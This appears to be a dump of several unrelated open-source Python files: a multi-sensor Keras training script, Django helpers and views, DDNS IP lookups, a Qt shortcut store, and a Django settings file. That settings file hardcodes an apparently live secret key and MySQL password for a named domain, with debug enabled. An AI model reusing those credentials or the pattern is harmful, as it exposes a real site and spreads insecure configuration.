cache['centroid'] = np.ndarray(shape=(len(obs_centroids[0]), 3), dtype=float)\n# cache['rz'] = np.ndarray(shape=(len(obs_centroids[0]),1), dtype=float)\n\n \n while 1: \n\n if cache is not None:\n is_cache_avail = cache['cam_images'] is not None and cache['centroid'] is not None\n if not is_cache_avail:\n cache['cam_images'] = np.ndarray(shape=(len(pickle_dir_and_prefix_cam), globals.IMG_CAM_HEIGHT, \n globals.IMG_CAM_WIDTH, globals.NUM_CAM_CHANNELS), dtype=float)\n cache['lidar_images'] = np.ndarray(shape=(len(pickle_dir_and_prefix_lidar), globals.IMG_HEIGHT, \n globals.IMG_WIDTH, globals.NUM_CHANNELS), dtype=float)\n cache['radar_data'] = np.ndarray(shape=(len(radar_data[0]), 2), dtype=float) \n \n cache['centroid'] = np.ndarray(shape=(len(obs_centroids[0]), 3), dtype=float)\n cache['rz'] = np.ndarray(shape=(len(obs_centroids[0]),1), dtype=float)\n\n indicies = generate_index_list(indicies_list, True, num_batches, batch_size)\n\n for batch in range(num_batches):\n\n batch_indicies = indicies[batch * batch_size:batch * batch_size + batch_size]\n\n if not is_cache_avail:\n load_data(batch_indicies, lidar_images, pickle_dir_and_prefix_lidar, \"lidar\", globals.NUM_CHANNELS)\n load_data(batch_indicies, cam_images, pickle_dir_and_prefix_cam, \"camera\", globals.NUM_CAM_CHANNELS)\n load_radar_data(batch_indicies, radar_ranges_angles, radar_data) \n load_gt(batch_indicies, obs_centroids, centroid_rotation_size, obs_size)\n np.copyto(centroid, centroid_rotation_size[:,0:3])\n np.copyto(rz, centroid_rotation_size[:,3:4]) \n \n if cache is not None:\n # save to cache\n i = 0\n for ind in batch_indicies:\n np.copyto(cache['cam_images'][ind], cam_images[i])\n np.copyto(cache['lidar_images'][ind], lidar_images[i])\n np.copyto(cache['radar_data'][ind], radar_ranges_angles[i])\n np.copyto(cache['centroid'][ind], centroid[i])\n np.copyto(cache['rz'][ind], rz[i])\n i += 1\n \n else:\n # copy from cache\n i = 0\n for ind in batch_indicies:\n np.copyto(cam_images[i], cache['cam_images'][ind])\n np.copyto(lidar_images[i], cache['lidar_images'][ind])\n np.copyto(radar_ranges_angles[i], cache['radar_data'][ind])\n np.copyto(centroid[i], cache['centroid'][ind])\n np.copyto(rz[i], cache['rz'][ind])\n i += 1 \n \n \n yield ([cam_images, lidar_images, radar_ranges_angles], [centroid, rz])\n \n \ndef get_data_and_ground_truth_matching_lidar_cam_frames(csv_sources, parent_dir):\n \n txl_cam = []\n tyl_cam = []\n tzl_cam = []\n rxl_cam = []\n ryl_cam = []\n rzl_cam = []\n timestamps_cam = []\n obsl_cam = []\n obsw_cam = []\n obsh_cam = []\n \n pickle_dir_and_prefix_cam = []\n pickle_dir_and_prefix_lidar = []\n radar_range = []\n radar_angle = []\n\n def process(dirset):\n\n lidar_truth_fname = dirset.dir+\"/obs_poses_interp_transform.csv\"\n cam_truth_fname = dirset.dir+\"/obs_poses_camera.csv\"\n radar_data_fname = dirset.dir+\"/radar/radar_tracks.csv\"\n\n df_lidar_truths = pd.read_csv(lidar_truth_fname)\n lidar_truths_list = df_lidar_truths['timestamp'].tolist()\n \n df_radar_data = pd.read_csv(radar_data_fname)\n \n #print lidar_rows[:,'timestamp'] \n def nearest_lidar_timestamp(cam_ts):\n x = min(lidar_truths_list, key=lambda x:abs(x-cam_ts))\n return x\n \n def nearest_radar_timestamp_data(cam_ts):\n return df_radar_data.ix[(df_radar_data['timestamp']-cam_ts).abs().argsort()[0]] \n\n with open(cam_truth_fname) as csvfile_2:\n readCSV_2 = csv.DictReader(csvfile_2, delimiter=',')\n\n for row2 in readCSV_2:\n ts = row2['timestamp']\n tx = row2['tx']\n ty = row2['ty']\n tz = row2['tz']\n rx = row2['rx']\n ry = row2['ry']\n rz = row2['rz']\n\n pickle_dir_prefix = file_prefix_for_timestamp(dirset.dir, \"camera\", ts)\n pickle_dir_and_prefix_cam.append(pickle_dir_prefix)\n txl_cam.append(float(tx))\n tyl_cam.append(float(ty))\n tzl_cam.append(float(tz))\n rxl_cam.append(float(rx))\n ryl_cam.append(float(ry))\n rzl_cam.append(float(rz))\n timestamps_cam.append(ts)\n obsl_cam.append(float(dirset.mdr['l']))\n obsw_cam.append(float(dirset.mdr['w']))\n obsh_cam.append(float(dirset.mdr['h']))\n lidar_ts = nearest_lidar_timestamp(int(ts))\n pickle_dir_prefix = file_prefix_for_timestamp(dirset.dir, \"lidar\", str(lidar_ts))\n pickle_dir_and_prefix_lidar.append(pickle_dir_prefix)\n \n radar_data = nearest_radar_timestamp_data(int(ts))\n radar_range.append(float(radar_data['range']))\n radar_angle.append(float(radar_data['angle']))\n \n \n foreach_dirset(csv_sources, parent_dir, process)\n\n obs_centroid = [txl_cam, tyl_cam, tzl_cam, rxl_cam, ryl_cam, rzl_cam, timestamps_cam]\n obs_size = [obsl_cam, obsw_cam, obsh_cam]\n radar_data = [radar_range, radar_angle]\n \n \n return obs_centroid, pickle_dir_and_prefix_cam, obs_size, pickle_dir_and_prefix_lidar, radar_data\n\n\ndef build_FCN(input_layer, output_layer, net_name):\n\n # cam_net_out is too big. apply max_pooling\n if net_name==\"cam2fcn\":\n output_layer = MaxPooling2D(pool_size=(4, 1), strides=None, padding='valid', data_format=None)(output_layer)\n\n flatten_out = Flatten()(output_layer)\n dropout_1 = Dropout(0.2)(flatten_out)\n dense_1 = Dense(96, activation='relu', name='dense1_'+net_name,\n kernel_initializer='random_uniform', bias_initializer='zeros')(dropout_1)\n dropout_2 = Dropout(0.2)(dense_1) \n dense_2 = Dense(48, activation='relu', name='dense2_'+net_name,\n kernel_initializer='random_uniform', bias_initializer='zeros')(dropout_2)\n \n return dense_2\n\ndef build_FCN_cam_lidar(cam_inp, lidar_inp, cam_net_out, lidar_net_out,\\\n lockLidarModel, lockCameraModel):\n\n cam_net_out = build_FCN(cam_inp, cam_net_out, \"cam2fcn\")\n lidar_net_out = build_FCN(lidar_inp, lidar_net_out, \"ldr2fcn\")\n radar_inp = Input(shape=(2,), name='radar')\n \n dense = concat_normalized = concat_input = concatenate([cam_net_out, lidar_net_out, radar_inp])\n #concat_normalized = BatchNormalization(name='normalize', axis=-1)(concat_input)\n #dense = Dense(3, activation='relu', name='fcn.dense',\n # kernel_initializer='random_uniform', bias_initializer='zeros')(concat_normalized)\n \n # output for centroid\n dense_1_1 = Dense(3, activation='elu', name='dense1_1', \n kernel_initializer='random_uniform', bias_initializer='zeros')(dense) \n dense_1_2 = Dense(3, activation='elu', name='dense1_2', \n kernel_initializer='random_uniform', bias_initializer='zeros')(dense)\n d_1 = Dense(3, activation='linear', name='d1')(concatenate([dense_1_1, dense_1_2]))\n \n # output for rotation \n dense_2_1 = Dense(1, activation='elu', name='dense2_1', \n kernel_initializer='random_uniform', bias_initializer='zeros')(dense) \n dense_2_2 = Dense(1, activation='elu', name='dense2_2', \n kernel_initializer='random_uniform', bias_initializer='zeros')(dense)\n d_2 = Dense(1, activation='linear', name='d2')(concatenate([dense_2_1, dense_2_2]))\n\n\n model = Model(inputs=[cam_inp, lidar_inp, radar_inp], outputs=[d_1, d_2]) \n \n for layer in model.layers:\n layer.trainable = True\n if (lockCameraModel and \"cameraNet\" in layer.name) or (lockLidarModel and \"lidarNet\" in layer.name):\n layer.trainable = False\n print layer.name, \"trainable mode changed to False\"\n \n model.compile(optimizer=Adam(lr=LEARNING_RATE),\n loss=\"mean_squared_error\", metrics=['mae'])\n \n \n\n print(model.summary())\n return model\n \ndef main():\n\n parser = argparse.ArgumentParser(description='FCN trainer for radar/camera/lidar')\n parser.add_argument(\"--train_file\", type=str, default=\"../data/train_folders.csv\",\n help=\"list of data folders for training\")\n parser.add_argument(\"--val_file\", type=str, default=\"../data/validation_folders.csv\",\n help=\"list of data folders for validation\")\n parser.add_argument(\"--dir_prefix\", type=str, default=\"\", help=\"absolute path to folders\")\n parser.add_argument('--camera_model', type=str, default=\"\", help='Model Filename')\n parser.add_argument('--camera_weights', type=str, default=\"\", help='Weights Filename')\n parser.add_argument('--lidar_model', type=str, default=\"\", help='Model Filename')\n parser.add_argument('--lidar_weights', type=str, default=\"\", help='Weights Filename')\n parser.add_argument('--fcn_model', type=str, default=\"\", help='Model Filename')\n parser.add_argument('--fcn_weights', type=str, default=\"\", help='Weights Filename')\n parser.add_argument('--outdir', type=str, default=\"./\", help='output directory')\n parser.add_argument('--cache', type=str, default=None, help='Cache data')\n \n # if fcn_model file is given, weights of all network will come from fcn model even if\n # camera/lidar model file names are given too. If you give camera/lidar model names along\n # with fcn model, camera/lidar part will not be trained, only the top part.\n \n # to create fcn model with previously trained camera/lidar models, do not enter fcn model \n # file name. This way newly created fcn model will include camera/lidar weights and can be\n # used to train only top part next time you run training.\n\n args = parser.parse_args()\n train_file = args.train_file\n validation_file = args.val_file\n outdir = args.outdir\n dir_prefix = args.dir_prefix\n \n \n cache_train, cache_val = None, None\n if args.cache is not None:\n cache_train = {'cam_images': None, 'lidar_images': None, 'radar_data': None, 'centroid': None, 'rz': None}\n cache_val = {'cam_images': None, 'lidar_images': None, 'radar_data': None, 'centroid': None, 'rz': None}\n\n lockCameraModel = None \n camera_net = None \n if args.camera_model != \"\": \n lockCameraModel = True\n if args.fcn_model == \"\":\n weightsFile = args.camera_model.replace('json', 'h5')\n if args.fcn_weights != \"\":\n weightsFile = args.camera_weights \n camera_net = load_model(args.camera_model, weightsFile,\n INPUT_SHAPE_CAM, NUM_CLASSES, trainable=False,\n layer_name_ext=\"cameraNet\")\n else: \n lockCameraModel = False \n if args.fcn_model == \"\": \n camera_net = build_model(\n INPUT_SHAPE_CAM, NUM_CLASSES, trainable=True,\n data_source=\"camera\", layer_name_ext=\"cameraNet\") \n if camera_net is not None: \n cam_inp_layer = camera_net.input\n cam_out_layer = camera_net.get_layer(\"deconv6acameraNet\").output\n \n lockLidarModel = None\n lidar_net = None\n if args.lidar_model != \"\":\n lockLidarModel = True\n if args.fcn_model == \"\":\n weightsFile = args.lidar_model.replace('json', 'h5')\n if args.lidar_weights != \"\":\n weightsFile = args.lidar_weights\n lidar_net = load_model(args.lidar_model, weightsFile,\n INPUT_SHAPE, NUM_CLASSES, trainable=False,\n layer_name_ext=\"lidarNet\")\n else: \n lockLidarModel = False \n if args.fcn_model == \"\": \n lidar_net = build_model(\n INPUT_SHAPE, NUM_CLASSES, trainable=True,\n data_source=\"lidar\", layer_name_ext=\"lidarNet\")\n \n if lidar_net is not None: \n lidar_inp_layer = lidar_net.input\n lidar_out_layer = lidar_net.get_layer(\"deconv6alidarNet\").output\n \n if args.fcn_model != \"\":\n weightsFile = args.fcn_model.replace('json', 'h5')\n if args.fcn_weights != \"\":\n weightsFile = args.fcn_weights\n cam_lidar_radar_net = load_fcn(args.fcn_model, weightsFile, \\\n lockLidarModel, lockCameraModel, True)\n else: \n cam_lidar_radar_net = build_FCN_cam_lidar(cam_inp_layer, lidar_inp_layer, \n cam_out_layer, lidar_out_layer, lockLidarModel, lockCameraModel)\n # save the model\n with open(os.path.join(outdir, 'fcn_model.json'), 'w') as outfile:\n json.dump(cam_lidar_radar_net.to_json(), outfile) \n\n\n \n train_data = get_data_and_ground_truth_matching_lidar_cam_frames(train_file, dir_prefix)\n val_data = get_data_and_ground_truth_matching_lidar_cam_frames(validation_file, dir_prefix)\n\n # number of batches per epoch\n n_batches_per_epoch_train = data_number_of_batches_per_epoch(train_data[1], BATCH_SIZE)\n n_batches_per_epoch_val = data_number_of_batches_per_epoch(val_data[1], BATCH_SIZE)\n\n\n if args.fcn_model != \"\" and (args.camera_model != \"\" or args.lidar_model):\n print \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\" \n print \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n print \"!!!! !!!!\"\n print \"!!!! YOU ENTERED CAMERA AND/OR LIDAR MODEL NAME ALONG WITH FCN MODEL NAME !!!!\"\n print \"!!!! THIS WILL ONLY FREEZE THE TRAINING OF CAMERA/LIDAR !!!!\"\n print \"!!!! CAMERA/LIDAR WEIGHTS ARE STILL LOADED FROM FCN MODEL !!!!\"\n print \"!!!! !!!!\"\n print \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n print \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n\n\n\n print(\"Number of batches per epoch: {}\".format(n_batches_per_epoch_train))\n print(\"start time:\")\n print(datetime.datetime.now())\n\n checkpointer = ModelCheckpoint(filepath=os.path.join(outdir, 'fcn_weights.{epoch:02d}-{loss:.4f}.hdf5'),\n verbose=1, save_weights_only=True)\n tensorboard = TensorBoard(histogram_freq=1, log_dir=os.path.join(outdir, 'tensorboard/'),\n write_graph=True, write_images=False)\n loss_history = LossHistory()\n lr_schedule = ReduceLROnPlateau(monitor='d1_mean_absolute_error', factor=0.2, patience=3, verbose=1, \\\n mode='auto', epsilon=.2, cooldown=0, min_lr=0.0000001)\n\n try:\n if args.cache is None or args.cache == 'generate':\n cam_lidar_radar_net.fit_generator(\n data_generator_FCN(\n train_data[0], train_data[2], train_data[1], \n train_data[3], BATCH_SIZE, train_data[4],\n cache=cache_train\n ), # generator\n n_batches_per_epoch_train, # number of batches per epoch\n validation_data=data_generator_FCN(\n val_data[0], val_data[2], val_data[1], \n val_data[3], BATCH_SIZE, val_data[4],\n cache=cache_val\n ),\n validation_steps=n_batches_per_epoch_val, # number of batches per epoch\n epochs=EPOCHS,\n callbacks=[checkpointer, tensorboard, loss_history, lr_schedule],\n verbose=1\n )\n \n elif args.cache == 'shuffle':\n # load all batches at once\n \n print(len(train_data[0][0]), len(val_data[0][0]))\n \n next(data_generator_FCN(\n train_data[0], train_data[2], train_data[1], \n train_data[3], len(train_data[0][0]), train_data[4],\n cache=cache_train\n ))\n next(data_generator_FCN(\n val_data[0], val_data[2], val_data[1], \n val_data[3], len(val_data[0][0]), val_data[4],\n cache=cache_val\n ))\n\n print len(cache_train['cam_images']), len(cache_train['centroid'])\n print len(cache_val['cam_images']), len(cache_val['centroid'])\n \n cam_lidar_radar_net.fit([cache_train['cam_images'], cache_train['lidar_images'], cache_train['radar_data']], \n [cache_train['centroid'], cache_train['rz']],\n batch_size=BATCH_SIZE,\n epochs=EPOCHS,\n verbose=1,\n callbacks=[checkpointer, loss_history, lr_schedule],\n validation_data=([cache_val['cam_images'], cache_val['lidar_images'], cache_val['radar_data']], \\\n [cache_val['centroid'], cache_val['rz']]),\n shuffle=True)\n \n \n \n except KeyboardInterrupt:\n print('\\n\\nExiting training...')\n\n print(\"stop time:\")\n print(datetime.datetime.now())\n # save model weights\n cam_lidar_radar_net.save_weights(os.path.join(outdir, \"fcn_model.h5\"), True)\n\n #print precision_recall_array -- NO MORE PRECISON/RECALL -- GIVES ERROR IF UNCOMMENTED\n #pr_curve_plotter.plot_pr_curve(loss_history, outdir)\n\n\nif __name__ == '__main__':\n main()\n", "source": "dhesin/team_sf_lidar", "license": "MIT"} {"text": "import math\n\nfrom rllab.envs.mujoco.maze.maze_env_utils import line_intersect, ray_segment_intersect\n\n\ndef test_line_intersect():\n assert line_intersect((0, 0), (0, 1), (0, 0), (1, 0))[:2] == (0, 0)\n assert line_intersect((0, 0), (0, 1), (0, 0), (0, 1))[2] == 0\n assert ray_segment_intersect(ray=((0, 0), 0), segment=((1, -1), (1, 1))) == (1, 0)\n assert ray_segment_intersect(ray=((0, 0), math.pi), segment=((1, -1), (1, 1))) is None\n", "source": "RussellM2020/maml_gps", "license": "MIT"} {"text": "\"\"\"Entry point for pyinstaller\"\"\"\n\nfrom bomberman import main\n\n\nif __name__ == \"__main__\":\n main.DEBUG = False\n main.main()\n", "source": "raphaelreme/bomberman", "license": "MIT"} {"text": "import os\nfrom typing import List\nfrom django.utils.translation import gettext as _\nfrom jutil.format import is_media_full_path, strip_media_root\n\n\ndef list_files(dir_name: str, suffix: str = \"\", ignore_case: bool = True, use_media_root: bool = False, recurse: bool = False) -> List[str]:\n \"\"\"\n Lists all files under specified directory.\n Optionally filter files by suffix and recurse to subdirectories.\n :param dir_name: Directory path\n :param suffix: Case-sensitive suffix (optional)\n :param ignore_case: Case-insensitive suffix. Default is True.\n :param use_media_root: Instead of full path return files relative to media root.\n :param recurse: Recurse subdirectories (optional)\n :return: List of file names found\n \"\"\"\n if not os.path.isdir(dir_name):\n raise ValueError(_(\"{} is not a directory\").format(dir_name))\n dir_full_path = os.path.abspath(dir_name)\n if use_media_root and not is_media_full_path(dir_full_path):\n raise ValueError(_(\"{} is not under MEDIA_ROOT\"))\n\n if suffix:\n if not suffix.startswith(\".\"):\n suffix = \".\" + suffix\n if ignore_case:\n suffix = suffix.lower()\n\n out: List[str] = []\n for ent in os.scandir(dir_full_path):\n assert isinstance(ent, os.DirEntry)\n if ent.is_file():\n name = ent.name\n if suffix and ignore_case:\n name = name.lower()\n if not suffix or name.endswith(suffix):\n file_path = strip_media_root(ent.path) if use_media_root else os.path.abspath(ent.path)\n out.append(file_path)\n elif recurse and ent.is_dir() and ent.name != \".\" and ent.name != \"..\":\n out.extend(list_files(ent.path, suffix=suffix, ignore_case=ignore_case, use_media_root=use_media_root, recurse=recurse))\n return out\n\n\ndef find_file(filename: str, dir_name: str = \".\", use_media_root: bool = False, recurse: bool = False) -> List[str]:\n \"\"\"\n Finds file under specified directory.\n Optionally filter files by suffix and recurse to subdirectories.\n :param filename: File name to find. You can also specify relative paths e.g. \"en/LC_MESSAGES/django.po\"\n :param dir_name: Directory path. Default '.'\n :param use_media_root: Instead of full path return files relative to media root.\n :return: List of file names found\n :param recurse: Recurse subdirectories (optional)\n \"\"\"\n if not os.path.isdir(dir_name):\n raise ValueError(_(\"{} is not a directory\").format(dir_name))\n dir_full_path = os.path.abspath(dir_name)\n if use_media_root and not is_media_full_path(dir_full_path):\n raise ValueError(_(\"{} is not under MEDIA_ROOT\"))\n out: List[str] = []\n if \"/\" not in filename:\n filename = \"/\" + filename\n for ent in os.scandir(dir_full_path):\n assert isinstance(ent, os.DirEntry)\n if ent.is_file():\n full_path = str(os.path.abspath(ent.path))\n if full_path.endswith(filename):\n file_path = strip_media_root(full_path) if use_media_root else full_path\n out.append(file_path)\n elif recurse and ent.is_dir() and ent.name != \".\" and ent.name != \"..\":\n out.extend(find_file(filename, dir_name=ent.path, use_media_root=use_media_root, recurse=recurse))\n return out\n", "source": "bachvtuan/django-jutil", "license": "MIT"} {"text": "# import requests\n# import certifi\n# import urllib\nimport urllib.request\n\nimport socket\n\n\n# v6\u4e0d\u9700\u8981\uff0c\u5982\u679c\u8fde\u4e0d\u4e0a\u5c31\u662f\u8fde\u4e0d\u4e0a\u4e86\n# v4Server = ['https://getip.moonchan.xyz']\n\n# \u4ee3\u7801\u5728\u5bb6\u91cc\uff0c\u56de\u5bb6\u4e4b\u540e\u518d\u6539\uff0c\u73b0\u5728\u4e34\u65f6\u7528\u5916\u9762\u7684API\ndef getIPv4():\n req = urllib.request.Request(\n 'http://getip.moonchan.xyz/',\n headers={\"User-Agent\":\"curl/7.55.1\"},\n )\n try:\n with urllib.request.urlopen(req,timeout=10) as response:\n html = response.read()\n return html.decode()\n except:\n return None\n\ndef getIPv6():\n ipstr = None\n try:\n s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)\n s.connect(('2001:da8:20d:22::2',80)) # edu.cn\n ipstr = s.getsockname()[0]\n s.close()\n return ipstr\n except:\n return None\n\ndef getroot(url):\n l = url.split('.')\n if len(l) <2 or url.startswith('http://') or url.startswith('https://'):\n raise Exception('\u8bf7\u68c0\u67e5url\u662f\u5426\u7b26\u5408\u89c4\u8303\uff1a{} \\n url\u5e94\u8be5\u5f62\u5982 thisisan.example.com \u6216 example.com \u6216 another.example.com'.format(url))\n return '.'.join(l[-2:])\n\n\ndef getname(url):\n l = url.split('.')\n if len(l) <= 2:\n return \"@\"\n return '.'.join(l[:-2])", "source": "Hana-ame/cloudflare-ddns-python", "license": "Unlicense"} {"text": "from django.shortcuts import get_object_or_404, render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nfrom .models import Eixo\n\n# Create your views here.\ndef index(request):\n eixos = Eixo.objects.all()\n context = { 'eixos' : eixos }\n return render(request, 'list.html', context)\n\ndef detail(request, eixo_id):\n eixo = get_object_or_404(Eixo, pk=eixo_id)\n return render(request, 'detail.html', {'eixo': eixo})\n\ndef add(request):\n if request.method == 'GET':\n return render(request, 'add.html')\n eixo = Eixo.objects.create(eixo=request.POST['eixo'])\n # eixo.save()\n return HttpResponseRedirect(reverse('eixo'))", "source": "Bleno/sisgestor-django", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.utils import translation\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom rest_framework.authtoken.models import Token\n# from rest_framework_jwt.settings import api_settings\nfrom rest_framework.views import Response, exception_handler\nfrom apps.commons.status import Status\n\nimport logging\n\n\ndef custom_exception_handler(exc, context):\n\tresponse = exception_handler(exc, context)\n\tcommons = Commons()\n\n\tif response is not None:\n\t\tcommons.logs(level=3, message=response.data['detail'], name=context['view'])\n\t\tresponse = commons.response(_status=commons.status.HTTP_4001_UNAUTHORIZED, error_msg=response.data['detail'])\n\n\treturn response\n\n\nclass Commons:\n\t\"\"\"\n\tSupport multiple function include\n\t- Support language\n\t- Reformat response\n\t- Custom log and dump it to file\n\t- Init token when the new user register or logout\n\t- Paginator for pages\n\t\"\"\"\n\n\tdef __init__(self):\n\t\tself.logging = logging.getLogger()\n\t\tself.status = Status()\n\n\t# self.jwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER\n\t# self.jwt_encode_handler = api_settings.JWT_ENCODE_HANDLER\n\t# self.jwt_decode_handler = api_settings.JWT_DECODE_HANDLER\n\n\tdef active_language(self, language):\n\t\ttry:\n\t\t\ttranslation.activate(language)\n\t\t\treturn True\n\t\texcept Exception as e:\n\t\t\tself.logs(level=3, message=str(e), name=__name__)\n\t\treturn False\n\n\tdef response(self, _status=None, data=None, message=None, error_msg=None):\n\t\treturn Response({\n\t\t\t'status_code': _status if _status else self.status.HTTP_4000_BAD_REQUEST,\n\t\t\t'result': True if _status == self.status.HTTP_2000_OK else False,\n\t\t\t'data': [data] if data else [],\n\t\t\t'message': message if message else '',\n\t\t\t'errors': [error_msg] if error_msg else []\n\t\t}, status=200)\n\n\tdef logs(self, level: int = 99, message: str = '', name: str = ''):\n\t\t\"\"\" Storage log here \"\"\"\n\n\t\tmsg = '{} [{}]'.format(name, message)\n\t\tif level == 0:\n\t\t\treturn message\n\t\tif level == 1:\n\t\t\treturn self.logging.info(msg)\n\t\telif level == 2:\n\t\t\treturn self.logging.warning(msg)\n\t\telif level == 3:\n\t\t\treturn self.logging.error(msg)\n\t\telse:\n\t\t\treturn self.logging.critical(msg)\n\n\tdef init_token(self, obj_user):\n\t\t\"\"\" Init the new token \"\"\"\n\n\t\ttry:\n\t\t\t# self.jwt_decode_handler(token)\n\t\t\ttoken = obj_user.auth_token.key\n\t\texcept Exception as e:\n\t\t\tself.logs(level=1, message='{} {}'.format(obj_user.username, str(e)), name=__name__)\n\t\t\t# payload = self.jwt_payload_handler(obj_user)\n\t\t\t# token = self.jwt_encode_handler(payload)\n\t\t\ttoken = Token.objects.create(user=obj_user)\n\t\t\ttoken = token.key\n\t\t# cache.set(obj_user.username, token, getattr(settings, 'CACHE_TTL', DEFAULT_TIMEOUT))\n\t\treturn token\n\n\t@classmethod\n\tdef paginator(cls, obj, page: int = 1, data_on_page: int = 30):\n\t\tpaginator = Paginator(obj, data_on_page)\n\t\ttry:\n\t\t\tdata_each_page = paginator.page(page)\n\t\texcept PageNotAnInteger:\n\t\t\tdata_each_page = paginator.page(1)\n\t\texcept EmptyPage:\n\t\t\tdata_each_page = paginator.page(paginator.num_pages)\n\t\treturn data_each_page\n", "source": "ad-free/lab-friends", "license": "MIT"} {"text": "import sys\nfrom glob import glob\n\ndatasets = glob(\"{}/*\".format(sys.argv[1]))\nfor ds in datasets:\n exps = glob(\"{}/*\".format(ds))\n for exp in exps:\n models = glob(\"{}/*\".format(exp))\n for model in models:\n try:\n index_files = set([int(_.split('-')[1].split('.')[0]) for _ in glob(\"{}/train/model.ckpt-*.index\".format(model))])\n data_files = set([int(_.split('-')[1].split('.')[0]) for _ in glob(\"{}/train/model.ckpt-*.data*\".format(model))])\n meta_files = set([int(_.split('-')[1].split('.')[0]) for _ in glob(\"{}/train/model.ckpt-*.meta\".format(model))])\n checkpoint = max(index_files.intersection(data_files).intersection(meta_files))\n checkpoint_file = \"{}/train/checkpoint\".format(model)\n chkp = open(checkpoint_file).readlines()\n\n current_chkp_num = chkp[0].split(\"-\")[-1].strip()[:-1]\n #chkp_num = chkp[1].split(\"-\")[-1].strip('\"').strip()\n\n with open(checkpoint_file, 'w') as fw:\n for c in chkp:\n fw.write(c.replace(current_chkp_num, str(checkpoint)).replace('ubuntu','yaserkl'))\n except:\n continue", "source": "yaserkl/TransferRL", "license": "MIT"} {"text": "\"\"\"\nThis module provides an API for getting shortcuts from application preferences.\n\nYou should always :func:`use hackedit.api.shortcuts.get` to get a shortcut.\n\"\"\"\nimport json\n\nfrom PyQt5 import QtCore\n\n\ndef get(name, text, default):\n \"\"\"\n Gets a shortcut for the given action name, if the name does not exists\n in the shortcuts map, default is used instead.\n\n The shortcut map is stored in QSettings and can be edited thought the\n application preferences (Environmnent > Shortcuts).\n\n :param name: Name of the action (non-translatable as it used to identify\n the action)\n :param text: translatable text of the action\n :param default: Default shortcut value, will be used if the shortcut cannot\n be found in the map.\n\n :returns: shortcut string\n \"\"\"\n global _MAP\n try:\n sh = _MAP[name][_INDEX_VALUE]\n except KeyError:\n sh = default\n if not sh:\n sh = default\n if default is not None:\n _MAP[name] = [sh, default, text]\n # update action text (translation)\n _MAP[name][_INDEX_TEXT] = text\n return sh\n\n\ndef update(name, text, shortcut):\n \"\"\"\n Updates the shortcut of a given action name.\n\n This function is called by the shortcuts preference page, yo should never\n have to call it yourself.\n\n :param name: name of the action to update\n :param value: new shortcut\n :param text: text of the action (translatable)\n \"\"\"\n global _MAP\n _MAP[name][_INDEX_VALUE] = shortcut\n _MAP[name][_INDEX_TEXT] = text\n\n\ndef get_all_names():\n \"\"\"\n Get all action names.\n\n This function is called by the shortcuts preference page, yo should never\n have to call it yourself.\n \"\"\"\n global _MAP\n return sorted(_MAP.keys())\n\n\ndef get_all_texts():\n \"\"\"\n Get all action texts (possibly translated).\n \"\"\"\n global _MAP\n return sorted([v[_INDEX_TEXT] for v in _MAP.values()])\n\n\ndef restore_defaults():\n \"\"\"\n Updates every shortcut with its default value.\n\n This function is called by the shortcuts preference page, yo should never\n have to call it yourself.\n \"\"\"\n global _MAP\n load()\n for name in get_all_names():\n _MAP[name][_INDEX_VALUE] = _MAP[name][_INDEX_DEFAULT]\n save()\n\n\ndef load():\n \"\"\"\n Loads the shortcuts map from QSettings.\n\n This function is called by the application internally, you should never\n have to call it yourself.\n \"\"\"\n global _MAP\n _MAP = _get_map()\n\n\ndef save():\n \"\"\"\n Saves the shortcuts map to QSettings\n\n This function is called by the application when you apply the preferences.\n You should never have to call it yourself\n \"\"\"\n global _MAP\n _set_map(_MAP)\n\n\n#: The global shortcuts map instance\n_MAP = None\n#: Index of the settings value\n_INDEX_VALUE = 0\n#: Index of the default value\n_INDEX_DEFAULT = 1\n#: Index text\n_INDEX_TEXT = 2\n\n\ndef _get_map():\n string = QtCore.QSettings().value('env/shortcuts', '{}')\n data = json.loads(string)\n if data:\n try:\n k, (name, sh, text) = list(data.items())[0]\n except ValueError: # pragma: no cover\n data = {} # old format used\n return data\n\n\ndef _set_map(shortcuts_map):\n QtCore.QSettings().setValue('env/shortcuts', json.dumps(shortcuts_map))\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "from libfm import LibFM\nfrom libfm import LibFMError\n\n# create a handler instance with API key and application secret\nlib_fm = LibFM('api key...', 'application secret...')\n\ntry:\n lib_fm.create_mobile_session('username...', 'password...')\n\n # simple read\n info = lib_fm.read('artist.getInfo', artist='Pink Floyd')\n print info['artist']['url']\n for tag in info['artist']['tags']['tag']:\n print tag['name']\n\n # simple write\n lib_fm.write('artist.addTags', artist='Black Sabbath',\n tags='metal, classic rock')\nexcept LibFMError, err:\n print err\n", "source": "MihaiDamian/Lib.fm", "license": "Unlicense"} {"text": "from mysite.settings import *\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/3.2/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 'django-insecure-o-k&e=42c8kvzz+58m96on3-u!ea-x7v*yv*na3e!o^r@po-6)'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nALLOWED_HOSTS = ['thealibigdeli.ir','www.thealibigdeli.ir']\n\n#INSTALLED_APPS = []\n\n\n# sites framework\nSITE_ID = 2\n\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'thealib2_travel',\n 'USER': 'thealib2_ali',\n 'PASSWORD': 'S^AQ#7Y,P36e',\n 'HOST': 'localhost',\n 'PORT': '3306',\n }\n}\n\nSTATIC_ROOT = '/home/thealib2/public_html/static'\nMEDIA_ROOT = '/home/thealib2/public_html/media'\nSTATICFILES_DIRS = 